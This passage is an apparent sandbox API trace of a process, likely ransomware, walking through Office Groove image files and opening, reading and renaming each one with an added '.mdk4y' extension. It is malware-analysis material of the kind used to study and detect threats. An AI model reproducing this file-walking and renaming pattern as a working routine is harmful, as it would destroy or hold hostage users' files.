office\\office14\\groove\\toolbmps\\chessiconimages.bmp.mdk4y")) returned 1 [0214.060] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.060] AreFileApisANSI () returned 1 [0214.060] GetACP () returned 0x4e4 [0214.060] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ChessIconImagesMask.bmp", cchWideChar=23, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ChessIconImagesMask.bmpask.bmp", lpUsedDefaultChar=0x37dec0) returned 23 [0214.060] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.061] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828929100000) returned 1 [0214.062] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x938, lpOverlapped=0x0) returned 1 [0214.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828930500000) returned 1 [0214.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828930500000) returned 1 [0214.076] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimagesmask.bmp.mdk4y")) returned 1 [0214.078] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.078] AreFileApisANSI () returned 1 [0214.078] GetACP () returned 0x4e4 [0214.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CreateSpaceImage.jpg", cchWideChar=20, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CreateSpaceImage.jpgbmp", lpUsedDefaultChar=0x37dec0) returned 20 [0214.078] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.078] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828930800000) returned 1 [0214.078] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x296b, lpOverlapped=0x0) returned 1 [0214.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828931300000) returned 1 [0214.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828931300000) returned 1 [0214.084] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImage.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimage.jpg.mdk4y")) returned 1 [0214.085] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.085] AreFileApisANSI () returned 1 [0214.085] GetACP () returned 0x4e4 [0214.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CreateSpaceImageMask.bmp", cchWideChar=24, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CreateSpaceImageMask.bmpsk.bmp", lpUsedDefaultChar=0x37dec0) returned 24 [0214.085] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828931600000) returned 1 [0214.086] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf78, lpOverlapped=0x0) returned 1 [0214.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828932100000) returned 1 [0214.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828932100000) returned 1 [0214.091] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp.mdk4y")) returned 1 [0214.092] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.092] AreFileApisANSI () returned 1 [0214.093] GetACP () returned 0x4e4 [0214.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DataListIconImages.jpg", cchWideChar=22, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DataListIconImages.jpgmp", lpUsedDefaultChar=0x37dec0) returned 22 [0214.093] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.093] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828932300000) returned 1 [0214.093] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x16c7, lpOverlapped=0x0) returned 1 [0214.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828932400000) returned 1 [0214.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828932400000) returned 1 [0214.095] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg.mdk4y")) returned 1 [0214.096] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.096] AreFileApisANSI () returned 1 [0214.096] GetACP () returned 0x4e4 [0214.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DataListIconImagesMask.bmp", cchWideChar=26, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DataListIconImagesMask.bmp.bmp", lpUsedDefaultChar=0x37dec0) returned 26 [0214.096] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828932600000) returned 1 [0214.096] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x708, lpOverlapped=0x0) returned 1 [0214.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828935100000) returned 1 [0214.121] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828935100000) returned 1 [0214.121] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp.mdk4y")) returned 1 [0214.123] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.123] AreFileApisANSI () returned 1 [0214.123] GetACP () returned 0x4e4 [0214.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DataViewIconImages.jpg", cchWideChar=22, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DataViewIconImages.jpg.bmp", lpUsedDefaultChar=0x37dec0) returned 22 [0214.123] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.124] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828935400000) returned 1 [0214.124] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x16c7, lpOverlapped=0x0) returned 1 [0214.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828935500000) returned 1 [0214.125] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828935500000) returned 1 [0214.126] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg.mdk4y")) returned 1 [0214.127] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.127] AreFileApisANSI () returned 1 [0214.127] GetACP () returned 0x4e4 [0214.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DataViewIconImagesMask.bmp", cchWideChar=26, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DataViewIconImagesMask.bmp", lpUsedDefaultChar=0x37dec0) returned 26 [0214.127] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828935800000) returned 1 [0214.128] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x708, lpOverlapped=0x0) returned 1 [0214.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828939100000) returned 1 [0214.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828939100000) returned 1 [0214.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp.mdk4y")) returned 1 [0214.163] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.163] AreFileApisANSI () returned 1 [0214.163] GetACP () returned 0x4e4 [0214.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DiscussionToolIconImages.jpg", cchWideChar=28, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DiscussionToolIconImages.jpgmp", lpUsedDefaultChar=0x37dec0) returned 28 [0214.163] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.163] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828939300000) returned 1 [0214.163] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2eaf, lpOverlapped=0x0) returned 1 [0214.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828939500000) returned 1 [0214.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828939500000) returned 1 [0214.165] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimages.jpg.mdk4y")) returned 1 [0214.166] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.166] AreFileApisANSI () returned 1 [0214.166] GetACP () returned 0x4e4 [0214.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DiscussionToolIconImagesMask.bmp", cchWideChar=32, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DiscussionToolIconImagesMask.bmpRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 32 [0214.166] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828939700000) returned 1 [0214.167] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x638, lpOverlapped=0x0) returned 1 [0214.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828939800000) returned 1 [0214.168] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828939800000) returned 1 [0214.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DiscussionToolIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\discussiontooliconimagesmask.bmp.mdk4y")) returned 1 [0214.169] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.169] AreFileApisANSI () returned 1 [0214.169] GetACP () returned 0x4e4 [0214.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Form_StatusImage.jpg", cchWideChar=20, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Form_StatusImage.jpgagesMask.bmp", lpUsedDefaultChar=0x37dec0) returned 20 [0214.169] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.179] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828940900000) returned 1 [0214.179] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2a0f, lpOverlapped=0x0) returned 1 [0214.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828942800000) returned 1 [0214.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828942800000) returned 1 [0214.198] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImage.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimage.jpg.mdk4y")) returned 1 [0214.200] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.200] AreFileApisANSI () returned 1 [0214.200] GetACP () returned 0x4e4 [0214.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Form_StatusImageMask.bmp", cchWideChar=24, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Form_StatusImageMask.bmpMask.bmp", lpUsedDefaultChar=0x37dec0) returned 24 [0214.200] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828943000000) returned 1 [0214.200] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3618, lpOverlapped=0x0) returned 1 [0214.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828944300000) returned 1 [0214.213] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828944300000) returned 1 [0214.213] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Form_StatusImageMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\form_statusimagemask.bmp.mdk4y")) returned 1 [0214.214] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.214] AreFileApisANSI () returned 1 [0214.214] GetACP () returned 0x4e4 [0214.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRIP.JPG", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="GRIP.JPGtusImageMask.bmp", lpUsedDefaultChar=0x37dec0) returned 8 [0214.214] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.216] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828944600000) returned 1 [0214.216] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d29, lpOverlapped=0x0) returned 1 [0214.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828946600000) returned 1 [0214.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828946600000) returned 1 [0214.236] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg.mdk4y")) returned 1 [0214.237] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.238] AreFileApisANSI () returned 1 [0214.238] GetACP () returned 0x4e4 [0214.238] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GRIPMASK.BMP", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="GRIPMASK.BMPmageMask.bmp", lpUsedDefaultChar=0x37dec0) returned 12 [0214.238] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\gripmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828946900000) returned 1 [0214.239] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc38, lpOverlapped=0x0) returned 1 [0214.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828947000000) returned 1 [0214.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828947000000) returned 1 [0214.240] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\gripmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIPMASK.BMP.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\gripmask.bmp.mdk4y")) returned 1 [0214.241] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.241] AreFileApisANSI () returned 1 [0214.241] GetACP () returned 0x4e4 [0214.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InformationIcon.jpg", cchWideChar=19, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="InformationIcon.jpgk.bmp", lpUsedDefaultChar=0x37dec0) returned 19 [0214.241] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\InformationIcon.jpg" (normalized: "c:\\program files\\microsoft 